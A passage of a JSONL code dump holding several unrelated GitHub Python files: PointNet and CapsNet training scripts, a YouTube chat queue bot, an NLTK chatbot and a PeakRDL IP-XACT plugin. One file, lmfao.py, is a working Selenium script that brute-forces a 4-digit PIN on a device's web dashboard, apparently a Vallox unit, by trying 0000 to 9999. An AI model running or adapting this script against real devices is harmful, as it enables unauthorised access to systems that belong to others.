tf.summary.scalar('bn_decay', bn_decay)\n\n            # Get model and loss\n            attachment_pred, type_pred, orientation_pred, surface_pred, startstage_pred, end_points = MODEL.get_model(pointclouds_pl, is_training_pl, bn_decay=bn_decay)\n\n            MODEL.get_loss(attachment_pred, type_pred, orientation_pred, surface_pred, startstage_pred,\n                           attachment_labels_pl, type_labels_pl, orientation_labels_pl, surface_labels_pl, startstage_labels_pl, end_points)\n            losses = tf.get_collection('losses')\n            print('############losses############')\n            print(losses)\n            total_loss = tf.add_n(losses, name='total_loss')\n            tf.summary.scalar('total_loss', total_loss)\n            for l in losses + [total_loss]:\n                tf.summary.scalar(l.op.name, l)\n\n            attachment_correct = tf.equal(tf.argmax(attachment_pred, 2), tf.to_int64(attachment_labels_pl))\n            type_correct = tf.equal(tf.argmax(type_pred, 2), tf.to_int64(type_labels_pl))\n            orientation_correct = tf.equal(tf.argmax(orientation_pred, 2), tf.to_int64(orientation_labels_pl))\n            surface_correct = tf.equal(tf.argmax(surface_pred, 2), tf.to_int64(surface_labels_pl))\n            startstage_correct = tf.equal(tf.argmax(startstage_pred, 2), tf.to_int64(startstage_labels_pl))\n\n            attachment_accuracy = tf.reduce_mean(tf.cast(attachment_correct, tf.float32))\n            type_accuracy = tf.reduce_mean(tf.cast(type_correct, tf.float32))\n            orientation_accuracy = tf.reduce_mean(tf.cast(orientation_correct, tf.float32))\n            surface_accuracy = tf.reduce_mean(tf.cast(surface_correct, tf.float32))\n            startstage_accuracy = tf.reduce_mean(tf.cast(startstage_correct, tf.float32))\n\n            # never write again\n            tf.summary.scalar('attachment_accuracy', attachment_accuracy)\n            tf.summary.scalar('type_accuracy', type_accuracy)\n            tf.summary.scalar('orientation_accuracy', orientation_accuracy)\n            tf.summary.scalar('surface_accuracy', surface_accuracy)\n            tf.summary.scalar('startstage_accuracy', startstage_accuracy)\n\n            print (\"--- Get training operator\")\n            # Get training operator\n            learning_rate = get_learning_rate(batch)\n            tf.summary.scalar('learning_rate', learning_rate)\n            if OPTIMIZER == 'momentum':\n                optimizer = tf.train.MomentumOptimizer(learning_rate, momentum=MOMENTUM)\n            elif OPTIMIZER == 'adam':\n                optimizer = tf.train.AdamOptimizer(learning_rate)\n            train_op = optimizer.minimize(total_loss, global_step=batch)\n\n            # Add ops to save and restore all the variables.\n            saver = tf.train.Saver()\n\n        # Create a session\n        config = tf.ConfigProto()\n        config.gpu_options.allow_growth = True\n        config.allow_soft_placement = True\n        config.log_device_placement = False\n        sess = tf.Session(config=config)\n\n        # Add summary writers\n        merged = tf.summary.merge_all()\n        train_writer = tf.summary.FileWriter(os.path.join(LOG_DIR, 'train'), sess.graph)\n        test_writer = tf.summary.FileWriter(os.path.join(LOG_DIR, 'test'), sess.graph)\n\n        # Init variables\n        init = tf.global_variables_initializer()\n        sess.run(init)\n\n        ops = {'pointclouds_pl': pointclouds_pl,\n               'attachment_labels_pl': attachment_labels_pl,\n               'type_labels_pl': type_labels_pl,\n               'orientation_labels_pl': orientation_labels_pl,\n               'surface_labels_pl': surface_labels_pl,\n               'startstage_labels_pl': startstage_labels_pl,\n               'is_training_pl': is_training_pl,\n               'attachment_pred': attachment_pred,\n               'type_pred': type_pred,\n               'orientation_pred': orientation_pred,\n               'surface_pred': surface_pred,\n               'startstage_pred': startstage_pred,\n               'loss': total_loss,\n               'train_op': train_op,\n               'merged': merged,\n               'step': batch,\n               'end_points': end_points}\n\n        best_acc = -1\n        for epoch in range(MAX_EPOCH):\n            log_string('**** EPOCH %03d ****' % (epoch))\n            sys.stdout.flush()\n\n            train_one_epoch(sess, ops, train_writer)\n            eval_one_epoch(sess, ops, test_writer)\n\n            # Save the variables to disk.\n            if epoch % 10 == 0:\n                save_path = saver.save(sess, os.path.join(LOG_DIR, \"model.ckpt\"))\n                log_string(\"Model saved in file: %s\" % save_path)\n\ndef train_one_epoch(sess, ops, train_writer):\n    \"\"\" ops: dict mapping from string to tf ops \"\"\"\n    is_training = True\n\n    log_string(str(datetime.now()))\n\n    # Make sure batch data is of same size\n    cur_batch_data = np.zeros((BATCH_SIZE, NUM_POINT, TRAIN_DATASET.num_channel()))\n    cur_batch_attachment_label = np.zeros((BATCH_SIZE, 128), dtype=np.int32)\n    cur_batch_type_label = np.zeros((BATCH_SIZE, 128), dtype=np.int32)\n    cur_batch_orientation_label = np.zeros((BATCH_SIZE, 128), dtype=np.int32)\n    cur_batch_surface_label = np.zeros((BATCH_SIZE, 128), dtype=np.int32)\n    cur_batch_startstage_label = np.zeros((BATCH_SIZE, 128), dtype=np.int32)\n\n    total_correct = 0\n    total_seen = 0\n    loss_sum = 0\n    batch_idx = 0\n    losses = tf.get_collection('losses')\n    while TRAIN_DATASET.has_next_batch():\n        batch_data, batch_attachment_label, batch_type_label, batch_orientation_label, batch_surface_label, batch_startstage_label = TRAIN_DATASET.next_batch(augment=True)\n        # batch_data = provider.random_point_dropout(batch_data)\n        bsize = 4\n        cur_batch_data[0:bsize, ...] = batch_data\n        cur_batch_attachment_label[0:bsize, ...] = batch_attachment_label\n        cur_batch_type_label[0:bsize, ...] = batch_type_label\n        cur_batch_orientation_label[0:bsize, ...] = batch_orientation_label\n        cur_batch_surface_label[0:bsize, ...] = batch_surface_label\n        cur_batch_startstage_label[0:bsize, ...] = batch_startstage_label\n\n        feed_dict = {ops['pointclouds_pl']: cur_batch_data,\n                     ops['attachment_labels_pl']: cur_batch_attachment_label,\n                     ops['type_labels_pl']: cur_batch_type_label,\n                     ops['orientation_labels_pl']: cur_batch_orientation_label,\n                     ops['surface_labels_pl']: cur_batch_surface_label,\n                     ops['startstage_labels_pl']: cur_batch_startstage_label,\n                     ops['is_training_pl']: is_training}\n        a, b, c, d, e, summary, step, _, loss_val, attachment_pred_val, type_pred_val, orientation_pred_val, surface_pred_val, startstage_pred_val = sess.run([losses[0], losses[1], losses[2], losses[3],losses[4], ops['merged'], ops['step'],\n            ops['train_op'], ops['loss'], ops['attachment_pred'], ops['type_pred'], ops['orientation_pred'], ops['surface_pred'], ops['startstage_pred']], feed_dict=feed_dict)\n        print ('==================', a,b, c, d, e)\n        train_writer.add_summary(summary, step)\n        attachment_pred_val = np.argmax(attachment_pred_val, 2)\n        type_pred_val = np.argmax(type_pred_val, 2)\n        orientation_pred_val = np.argmax(orientation_pred_val, 2)\n        surface_pred_val = np.argmax(surface_pred_val, 2)\n        startstage_pred_val = np.argmax(startstage_pred_val, 2)\n        correct = np.sum(attachment_pred_val[0:bsize] == batch_attachment_label[0:bsize])+np.sum(type_pred_val[0:bsize] == batch_type_label[0:bsize])+np.sum(\n            orientation_pred_val[0:bsize] == batch_orientation_label[0:bsize])+np.sum(surface_pred_val[0:bsize] == batch_surface_label[0:bsize])+np.sum(startstage_pred_val[0:bsize] == batch_startstage_label[0:bsize])\n        total_correct += correct\n        total_seen += bsize*128*5\n        loss_sum += loss_val\n        if True:\n            log_string(' ---- batch: %03d ----' % (batch_idx+1))\n            log_string('mean loss: %f' % (loss_sum))\n            log_string('accuracy: %f' % (total_correct / float(total_seen)))\n            total_correct = 0\n            total_seen = 0\n            loss_sum = 0\n        batch_idx += 1\n\n    TRAIN_DATASET.reset()\n\n\ndef eval_one_epoch(sess, ops, test_writer):\n    \"\"\" ops: dict mapping from string to tf ops \"\"\"\n    global EPOCH_CNT\n    is_training = False\n    \n    \n    cur_batch_data = np.zeros((BATCH_SIZE, NUM_POINT, TRAIN_DATASET.num_channel()))\n    cur_batch_attachment_label = np.zeros((BATCH_SIZE, 128), dtype=np.int32)\n    cur_batch_type_label = np.zeros((BATCH_SIZE, 128), dtype=np.int32)\n    cur_batch_orientation_label = np.zeros((BATCH_SIZE, 128), dtype=np.int32)\n    cur_batch_surface_label = np.zeros((BATCH_SIZE, 128), dtype=np.int32)\n    cur_batch_startstage_label = np.zeros((BATCH_SIZE, 128), dtype=np.int32)\n\n    total_correct = 0\n    total_seen = 0\n    loss_sum = 0\n    batch_idx = 0\n    losses=tf.get_collection('losses')\n    log_string(str(datetime.now()))\n    log_string('----EPOCH %03d EVALUATION----'%(EPOCH_CNT))\n\n    while TEST_DATASET.has_next_batch():\n        batch_data, batch_attachment_label, batch_type_label, batch_orientation_label, batch_surface_label, batch_startstage_label = TEST_DATASET.next_batch(augment=True)\n        # batch_data = provider.random_point_dropout(batch_data)\n        bsize = 4\n        cur_batch_data[0:bsize, ...] = batch_data\n        cur_batch_attachment_label[0:bsize, ...] = batch_attachment_label\n        cur_batch_type_label[0:bsize, ...] = batch_type_label\n        cur_batch_orientation_label[0:bsize, ...] = batch_orientation_label\n        cur_batch_surface_label[0:bsize, ...] = batch_surface_label\n        cur_batch_startstage_label[0:bsize, ...] = batch_startstage_label\n\n        feed_dict = {ops['pointclouds_pl']: cur_batch_data,\n                     ops['attachment_labels_pl']: cur_batch_attachment_label,\n                     ops['type_labels_pl']: cur_batch_type_label,\n                     ops['orientation_labels_pl']: cur_batch_orientation_label,\n                     ops['surface_labels_pl']: cur_batch_surface_label,\n                     ops['startstage_labels_pl']: cur_batch_startstage_label,\n                     ops['is_training_pl']: is_training}\n        a, b, c, d, e, summary, step, _, loss_val, attachment_pred_val, type_pred_val, orientation_pred_val, surface_pred_val, startstage_pred_val = sess.run([losses[0], losses[1], losses[2], losses[3], ops['merged'], ops['step'],\n            ops['train_op'], ops['loss'], ops['attachment_pred'], ops['type_pred'], ops['orientation_pred'], ops['surface_pred'], ops['startstage_pred']], feed_dict=feed_dict)\n        print ('==================', a, b, c, d, e)\n        test_writer.add_summary(summary, step)\n        attachment_pred_val = np.argmax(attachment_pred_val, 2)\n        type_pred_val = np.argmax(type_pred_val, 2)\n        orientation_pred_val = np.argmax(orientation_pred_val, 2)\n        surface_pred_val = np.argmax(surface_pred_val, 2)\n        startstage_pred_val = np.argmax(startstage_pred_val, 2)\n        correct = np.sum(attachment_pred_val[0:bsize] == batch_attachment_label[0:bsize])+np.sum(type_pred_val[0:bsize] == batch_type_label[0:bsize])+np.sum(\n            orientation_pred_val[0:bsize] == batch_orientation_label[0:bsize])+np.sum(surface_pred_val[0:bsize] == batch_surface_label[0:bsize])+np.sum(startstage_pred_val[0:bsize] == batch_startstage_label[0:bsize])\n        total_correct += correct\n        total_seen += bsize*128*5\n        loss_sum += loss_val\n        log_string(' ---- batch: %03d ----' % (batch_idx+1))\n        log_string('mean loss: %f' % (loss_sum))\n        log_string('accuracy: %f' % (total_correct / float(total_seen)))\n         \n    EPOCH_CNT+=1\n    batch_idx+=1\n    TEST_DATASET.reset()\n    return total_correct/float(total_seen)\n\nif __name__ == \"__main__\":\n    log_string('pid: %s' % (str(os.getpid())))\n    train()\n    LOG_FOUT.close()\n\n","repo_name":"rzhou2197/pointnet","sub_path":"model1/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":16342,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"}
+{"seq_id":"429082876","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nimport time\nimport sys\n\nprint(\"This might take a while. A maximum of about 1 hour. You will see the tested pins in a list.\")\ndriver = webdriver.Firefox()\nlmfao=driver.get(sys.argv[1])\ntime.sleep(2)\nel=driver.find_element(By.XPATH, \"//a[@href='#dashboard-settings-page']\")\nel.click()\ntime.sleep(1)\nfield=driver.find_element(By.XPATH, \"//input[@type='password']\")\nbutt=driver.find_element(By.XPATH, \"//a[@l10n-path='settings.unlock']\")\nfor x in range(0,10000):\n    i=str(x).rjust(4,\"0\")\n    print(i)\n    field.click()\n    field.send_keys(i)\n    butt.click()\n    time.sleep(0.3)\n\n    try:\n        driver.find_element(By.CSS_SELECTOR, \"input.dashboard-pin-invalid\") \n        time.sleep(0.1)\n\n    except:\n        print(str(i) + \" <-- pin found, woohoo (or if this is not the pin, CSS is slow)\")\n        break\n","repo_name":"LaakJoonas/Vallox-bruteforce","sub_path":"lmfao.py","file_name":"lmfao.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"1450091113","text":"import pytchat\nimport os\nfrom time import sleep\n\n#GLOBAL CONTAINERS:\nauthor_list = []\nholds = []\nalerts = []\nis_queue_open = False\nis_hidden = True\nNEXT = ''\nSTREAMER = ''\n\n#FUNCTIONS:\ndef clear():\n    if os.name == 'nt':\n        _ = os.system('cls')\n    else:\n        _ = os.system('clear')\n        \ndef Screen():\n    clear()\n    print(f\"<<< ADMIN: {STREAMER} >>>\\n\")\n    \n    print(\"On Holds: (empty!)\", end=\"\") if not len(holds) else print(\"On Holds:\", end=\" \")\n    for ind, hold in enumerate(holds):\n        print(f\"{ind+1}. {hold}\", end=\" | \")\n    print()\n    \n    print(\"\\nCurrent: (nobody!)\\n\") if not NEXT else print(f\"\\nCurrent: {NEXT}\\n\")\n    \n    if is_queue_open:\n        print(\"Queue: (empty!)\\n\") if not len(author_list) else print(f\"Queue: (Total --> {len(author_list)})\\n\")\n    else: print(\"Queue: (closed!)\\n\")\n    for index, item in enumerate(author_list):\n        # if is_hidden and index >= 11:\n        #     break\n        print(f\"{index+1}. {item}\")\n        \n    print(\"\\n\\n\\nAlerts:\\n\") if len(alerts) else print(\"\\n\\n\\nAlerts: (no alerts!)\\n\")\n    for alert in alerts:\n        print('-', alert)\n\n#INIT\nwrong_link = True\nclear()\nwhile wrong_link:      \n    try:\n        id = input(\"Enter the stream url: \").strip()\n        STREAMER = input(\"Enter your exact streamer channel name: \").strip()\n        chat = pytchat.create(video_id=id)\n        wrong_link = False\n    except:\n        clear()\n        print(\"connection failed!\\nmaybe wrong link? try again?\\n\")\n\n#CONNECTION ANIMATION:\nclear()\nprint(\"connecting\")\nsleep(0.25)\nclear()\nprint(\"connecting.\")\nsleep(0.25)\nclear()\nprint(\"connecting..\")\nsleep(0.25)\nclear()\nprint(\"connecting...\")\nsleep(1)\n\nScreen()\n\n#COMMANDS\nwhile chat.is_alive():\n    for c in chat.get().sync_items():\n        # AUDIENCE COMMANDS\n        # !join\n        if c.message.lower() == '!join' and c.author.name != STREAMER:\n            if is_queue_open:\n                if c.author.name not in author_list:\n                    author_list.append(c.author.name)\n                    alerts.insert(0, f\"{c.author.name} --> joined the queue!\")\n                else:\n                    alerts.insert(0, f\"{c.author.name} --> already in the queue!\")\n                \n            Screen()\n            \n        # !leave\n        if c.message.lower() == '!leave' and c.author.name != STREAMER:\n            if c.author.name not in author_list:\n                alerts.insert(0, f\"{c.author.name} --> not in the queue!\")\n            else:\n                author_list.remove(c.author.name)\n                alerts.insert(0, f\"{c.author.name} --> left the queue!\")\n                \n            Screen()\n            \n        # !position\n        if c.message.lower() == '!position' and c.author.name != STREAMER:\n            if c.author.name not in author_list:\n                alerts.insert(0, f\"{c.author.name} --> not in the queue!\")\n            else:\n                alerts.insert(0, f\"{c.author.name} --> {author_list.index(c.author.name)+1}\")\n                \n            Screen()\n            \n        \n        # STREAM CONTROLLER\n        # !next\n        if c.message.lower() == \"!next\" and c.author.name == STREAMER:\n            if len(author_list):\n                NEXT = author_list.pop(0)\n            else:\n                alerts.insert(0, \"EMPTY QUEUE!\")\n            \n            Screen()\n            \n        # !hold\n        if c.message.lower() == \"!hold\" and c.author.name == STREAMER:\n            if NEXT:\n                holds.append(NEXT)\n                NEXT = ''\n                if len(author_list):\n                    NEXT = author_list.pop(0)\n                else:\n                    alerts.insert(0, \"EMPTY QUEUE!\")\n            else:\n                alerts.insert(0, \"FIRST CALL NEXT TO HOLD SOMEONE!\")\n            \n            Screen()\n            \n        # !release \n        if \"!release\" in c.message.lower() and c.author.name == STREAMER:\n            try:\n                release_candidate_pos = int(c.message.split(\" \")[1])\n                if len(holds) >= release_candidate_pos:\n                    holds.pop(release_candidate_pos-1)\n                else:\n                    alerts.insert(0, f\"{release_candidate_pos} --> NOT ON HOLD!\")\n            except:\n                if not len(holds):\n                    alerts.insert(0, \"NOBODY'S ON HOLD!\")\n                else:\n                    alerts.insert(0, \"FAILED! --> format: !release position\")\n            \n            Screen()\n            \n        # !clear\n        if c.message.lower() == \"!clear\" and c.author.name == STREAMER:\n            alerts = []\n            \n            Screen()\n            \n        # !close\n        if c.message.lower() == \"!close\" and c.author.name == STREAMER:\n            is_queue_open = False\n            alerts.insert(0, \"CLOSED THE QUEUE\")\n            \n            Screen()\n            \n        # !open\n        if c.message.lower() == \"!open\" and c.author.name == STREAMER:\n            is_queue_open = True\n            alerts.insert(0, \"OPENED THE QUEUE\")\n            \n            Screen()\n            \n        # !show\n        if c.message.lower() == \"!show\" and c.author.name == STREAMER:\n            is_hidden = False\n            \n            Screen()\n            \n        # !hide\n        if c.message.lower() == \"!hide\" and c.author.name == STREAMER:\n            is_hidden = True\n            \n            Screen()\n            \n        # !remove<pos>\n        if \"!remove\" in c.message.lower() and c.author.name == STREAMER:\n            try:\n                ind = int(c.message.split(\" \")[1])-1\n                alerts.insert(0, f\"REMOVED --> {author_list[ind]}\")\n                author_list.pop(ind)\n            except:\n                alerts.insert(0, \"REMOVING FAILED! --> (format: !remove position)\")\n            \n            Screen()\n        \n        pass","repo_name":"naimur-29/queuebot-yt","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"39218562610","text":"import random\nimport json\nimport pickle\nimport numpy as np\nimport os\n\nimport nltk\nfrom nltk.stem import WordNetLemmatizer\nfrom tensorflow.keras import models\n\nfrom tensorflow.keras.models import load_model\n\n\ndef chatbot_initialise():\n    lemmatizer = WordNetLemmatizer()\n\n    filepath = os.path.join(os.getcwd(), 'test_data')\n    with open(os.path.join(filepath, 'intents.json'), 'r') as f:\n        intents = json.loads(f.read())\n\n    with open('words.pkl', 'rb') as f:\n        words = pickle.load(f)\n\n    with open('classes.pkl', 'rb') as g:\n        classes = pickle.load(g)\n\n    model = load_model('chatbotmodel.h5')\n\n    return lemmatizer, intents, words, classes, model\n\n\ndef clean_up_sentence(lemmatizer, sentence):\n    sentence_words = nltk.word_tokenize(sentence)\n    sentence_words = [lemmatizer.lemmatize(word) for word in sentence_words]\n    return sentence_words\n\n\ndef bag_of_words(lemmatizer, words, sentence):\n    sentence_words = clean_up_sentence(lemmatizer, sentence)\n    bag = [0] * len(words)\n    for w in sentence_words:\n        for i, word in enumerate(words):\n            if word == w:\n                bag[i] = 1\n\n    return np.array(bag)\n\n\ndef predict_class(lemmatizer, model, words, sentence, classes):\n    bow = bag_of_words(lemmatizer, words, sentence)\n    res = model.predict(np.array([bow]))[0]\n    ERROR_THRESHOLD = 0.25\n    results = [[i, r] for i, r in enumerate(res) if r > ERROR_THRESHOLD]\n\n    results.sort(key=lambda x: x[1], reverse=True)\n    return_list = []\n\n    for r in results:\n        return_list.append({'intent': classes[r[0]], 'probability': str(r[1])})\n\n    return return_list\n\n\ndef get_response(message):\n    lemmatizer, intents_json, words, classes, model = chatbot_initialise()\n\n    intents_list = predict_class(lemmatizer, model, words, message, classes)\n\n    tag = intents_list[0]['intent']\n    list_of_intents = intents_json['intents']\n    for i in list_of_intents:\n        if i['tag'] == tag:\n            result = random.choice(i['responses'])\n            break\n\n    return result\n","repo_name":"ameermustafa/codefest21","sub_path":"chatbot.py","file_name":"chatbot.py","file_ext":"py","file_size_in_byte":2033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"20518624174","text":"from typing import TYPE_CHECKING\nimport re\n\nfrom peakrdl.plugins.importer import ImporterPlugin #pylint: disable=import-error\nfrom peakrdl.plugins.exporter import ExporterSubcommandPlugin #pylint: disable=import-error\n\nfrom .exporter import IPXACTExporter, Standard\nfrom .importer import IPXACTImporter\n\nif TYPE_CHECKING:\n    import argparse\n    from systemrdl import RDLCompiler\n    from systemrdl.node import AddrmapNode\n\n\nclass Exporter(ExporterSubcommandPlugin):\n    short_desc = \"Export the register model to IP-XACT\"\n\n\n    def add_exporter_arguments(self, arg_group: 'argparse.ArgumentParser') -> None:\n        arg_group.add_argument(\n            \"--vendor\",\n            default=\"example.org\",\n            help=\"vendor url string. [example.org]\"\n        )\n        arg_group.add_argument(\n            \"--library\",\n            default=\"mylibrary\",\n            help=\"library name string. [mylibrary]\"\n        )\n        arg_group.add_argument(\n            \"--name\",\n            default=None,\n            help=\"component name. Defaults to top exported component's name\"\n        )\n        arg_group.add_argument(\n            \"--version\",\n            default=\"1.0\",\n            help=\"version string. [1.0]\"\n        )\n\n        arg_group.add_argument(\n            \"--standard\",\n            dest=\"standard\",\n            choices=[2009, 2014],\n            default=2014,\n            type=int,\n            help=\"IP-XACT standard to use. [2014]\"\n        )\n\n\n    def do_export(self, top_node: 'AddrmapNode', options: 'argparse.Namespace') -> None:\n\n        x = IPXACTExporter(\n            standard=Standard(options.standard),\n            vendor=options.vendor,\n            library=options.library,\n            version=options.version,\n        )\n        x.export(\n            top_node,\n            options.output,\n            component_name=options.name\n        )\n\n\nclass Importer(ImporterPlugin):\n    file_extensions = [\"xml\"]\n\n    def is_compatible(self, path: str) -> bool:\n        # Could be any XML file.\n        # See if file contains an ipxact or spirit component tag\n        with open(path, \"r\", encoding=\"utf-8\") as f:\n            if re.search(r\"<(spirit|ipxact):component\\b\", f.read()):\n                return True\n        return False\n\n    def add_importer_arguments(self, arg_group: 'argparse.ArgumentParser') -> None:\n        arg_group.add_argument(\n            \"--remap-state\",\n            metavar=\"STATE\",\n            default=None,\n            help=\"Optional remapState string that is used to select memoryRemap regions that are tagged under a specific remap state.\"\n        )\n\n    def do_import(self, rdlc: 'RDLCompiler', options: 'argparse.Namespace', path: str) -> None:\n        i = IPXACTImporter(rdlc)\n        i.import_file(\n            path,\n            remap_state=options.remap_state\n        )\n","repo_name":"SystemRDL/PeakRDL-ipxact","sub_path":"src/peakrdl_ipxact/__peakrdl__.py","file_name":"__peakrdl__.py","file_ext":"py","file_size_in_byte":2806,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"37"}
+{"seq_id":"72285274988","text":"from dataIO import DataGen\r\nfrom CapsNet import LogoCapsNet\r\nimport torch\r\nimport os\r\nfrom tensorboardX import SummaryWriter\r\nfrom torch.utils.data import DataLoader\r\nimport time\r\nfrom training import train\r\nimport ConvNet\r\n\r\n# Initialize CUDA\r\ntorch.cuda.init()\r\ntorch.cuda.set_device(1)\r\n\r\n# Whether or not to load a model\r\nload_model = False\r\n\r\n# The run number to load. This code grabs the number of the last run assuming none were deleted\r\nrun_number = len(os.listdir(\"./models/\")) if not load_model else len(os.listdir(\"./models/\"))\r\n\r\n# The path of the model directory\r\nmodel_dir = \"./models/run_\"+str(run_number)\r\n\r\n# If the path does not exist, create it\r\nif not os.path.exists(model_dir):\r\n    os.mkdir(model_dir)\r\n\r\n# The format string to use to determine the path to each model file\r\nmodel_save_format = model_dir + \"/epoch_%d-loss_%f-acc_%f.pt\"\r\n\r\n# The epoch number to load\r\nload_epoch = 34\r\n\r\n# The loss value of the epoch to load\r\nload_loss = 7.374138\r\n\r\n# The accuracy value of the epoch to load\r\nload_accuracy = 0.090000\r\n\r\n# The path to the model to load\r\nmodel_path = model_save_format % (load_epoch, load_loss, load_accuracy)\r\n\r\n# If the model is being loaded, start from the next epoch after the loaded one\r\n# Otherwise, start from epoch 0\r\nstart_epoch = load_epoch + 1 if load_model else 0\r\n\r\n# The path of the folder containing the logos\r\nlogos_folder = \"./data/logos\"\r\n\r\n# The path of the folder containing the backgrounds\r\nbackgrounds_folder = \"./data/backgrounds\"\r\n\r\n# The width and height of the data to use\r\ndata_size = 25\r\n\r\n# The bounds for the logo transformations\r\ntransform_bounds = 25\r\n\r\n# Whether or not to convert the images to grayscale\r\ngrayscale = False\r\n\r\n# Whether or not to place the images on backgrounds\r\nuse_background = True\r\n\r\n# The size of each epoch\r\nepoch_size = 1000\r\n\r\n# The number of epochs to train for\r\nnum_epochs = 100\r\n\r\n# The initial learning rate.\r\nlearning_rate = 0.00001\r\n\r\n# Whether or not to use CUDA\r\nuse_gpu = True\r\n\r\n# The size of each training batch\r\nbatch_size = 50\r\n\r\n# The number of channels in the input data\r\nin_channels = 1 if grayscale else 3\r\n\r\n# The size of the kernels in the initial convolutional layer\r\nconv_kernel_size = 9\r\n\r\n# The number of kernels in the initial convolutional layer\r\nconv_out_channels = 256\r\n\r\n# Calculate the size of the output of the initial convolutional layer\r\nconv_out_size = data_size - conv_kernel_size + 1\r\nconv_out_shape = (conv_out_size, conv_out_size, conv_out_channels)\r\n\r\n# The number of kernels in each Primary Capsule\r\nprimary_out_channels = 8\r\n# The size of the kernels in the PrimaryCaps layer\r\nprimary_kernel_size = 9\r\n# The stride of the kernels in the PrimaryCaps layer\r\nprimary_stride = 2\r\n# The number of Primary Capsules\r\nnum_primary_caps = 32\r\n\r\n# The number of dimensions to project the pose vectors into\r\ndigit_out_channels = 16\r\n\r\n# The number of iterations of dynamic routing to use\r\nrouting_iterations = 2\r\n\r\n# The size of the first decoder layer\r\ndecoder_size_1 = 512\r\n# The size of the second decoder layer\r\ndecoder_size_2 = 1024\r\n\r\n# The weights of the loss value for the non-present classes\r\nabsent_loss_weight = 0.5\r\n\r\n# The weight of the reconstruction loss\r\nreconstruction_loss_weight = 0.01\r\n\r\n# Multiply this by the size of the training set to get the size of the test set\r\ntest_size_multiple = 0.1\r\n\r\n# The training data generator\r\ntrain_dataset = DataGen(\r\n    logos_folder,\r\n    backgrounds_folder,\r\n    data_size,\r\n    transform_bounds,\r\n    epoch_size,\r\n    grayscale,\r\n    use_background\r\n)\r\n\r\n# The test data generator\r\ntest_dataset = DataGen(\r\n    logos_folder,\r\n    backgrounds_folder,\r\n    data_size,\r\n    transform_bounds,\r\n    int(epoch_size  * test_size_multiple),\r\n    grayscale,\r\n    use_background\r\n)\r\n\r\n# The number of categories\r\nnum_categories = train_dataset.num_categories\r\n\r\n# Wrap the data generators into DataLoader objects\r\ntrain_loader = DataLoader(\r\n    dataset=train_dataset,\r\n    batch_size=batch_size,\r\n    shuffle=True,\r\n    drop_last=True\r\n)\r\ntest_loader = DataLoader(\r\n    dataset=test_dataset,\r\n    batch_size=batch_size,\r\n    shuffle=True,\r\n    drop_last=True,\r\n)\r\n\r\n\r\n# Whether or not to train the capsule network\r\ntrain_capsnet = True\r\n\r\n# Only train one at a time\r\ntrain_convnet = not train_capsnet\r\n\r\n# Either load a model or make a new one\r\nif load_model:\r\n    model = torch.load(model_path)\r\nelse:\r\n    if train_capsnet:\r\n        model = LogoCapsNet(\r\n            num_categories,\r\n            data_size,\r\n            in_channels,\r\n            conv_out_channels,\r\n            conv_kernel_size,\r\n            num_primary_caps,\r\n            primary_out_channels,\r\n            primary_kernel_size,\r\n            primary_stride,\r\n            digit_out_channels,\r\n            decoder_size_1,\r\n            decoder_size_2,\r\n            reconstruction_loss_weight,\r\n            use_gpu,\r\n            routing_iterations,\r\n            absent_loss_weight\r\n        )\r\n\r\n    elif train_convnet:\r\n        model = ConvNet.LogoConvNet(\r\n            num_categories,\r\n            data_size,\r\n            in_channels,\r\n            conv_out_channels,\r\n            conv_kernel_size,\r\n            num_primary_caps,\r\n            primary_out_channels,\r\n            primary_kernel_size,\r\n            primary_stride,\r\n            digit_out_channels,\r\n            decoder_size_1,\r\n            decoder_size_2,\r\n            reconstruction_loss_weight,\r\n            use_gpu,\r\n            routing_iterations,\r\n            absent_loss_weight\r\n        )\r\n    else:\r\n        # If not training either, quit\r\n        quit()\r\n\r\n# Print the model architecture to the console\r\nprint(\"Architecture\")\r\nprint(model)\r\n\r\n# List out how many parameters each part of the model has\r\nprint(\"\\nSizes of parameters: \")\r\nfor name, param in model.named_parameters():\r\n    totalparams = 1\r\n    for i in list(param.size()):\r\n        totalparams *= i\r\n    print(\"{}: {} {:,}\".format(name, list(param.size()), totalparams))\r\n\r\n# Print the total number of parameters to console\r\nn_params = sum([p.nelement() for p in model.parameters()])\r\nprint('\\nTotal number of parameters: {:,} \\n'.format(n_params))\r\n\r\n# If enabled and possible, load the model onto the gpu\r\nif torch.cuda.is_available() and use_gpu:\r\n    print('Loading onto GPU')\r\n    model.cuda()\r\n    print('Loaded onto GPU')\r\n\r\n# Initialize the log writer\r\nwriter = SummaryWriter()\r\nprint('Starting Training')\r\nstart = time.clock()\r\n# Train the model\r\nif train_capsnet:\r\n    train(\r\n        batch_size,\r\n        data_size,\r\n        in_channels,\r\n        start_epoch,\r\n        num_epochs,\r\n        learning_rate,\r\n        train_loader,\r\n        test_loader,\r\n        model,\r\n        writer,\r\n        use_gpu,\r\n        model_save_format)\r\nelif train_convnet:\r\n    ConvNet.train(\r\n        batch_size,\r\n        data_size,\r\n        in_channels,\r\n        start_epoch,\r\n        num_epochs,\r\n        learning_rate,\r\n        train_loader,\r\n        test_loader,\r\n        model,\r\n        writer,\r\n        use_gpu,\r\n        model_save_format)\r\n\r\nwriter.close()\r\nprint('Training took %d seconds'%(time.clock()-start))","repo_name":"cqdinh/Pytorch-CapsNet","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
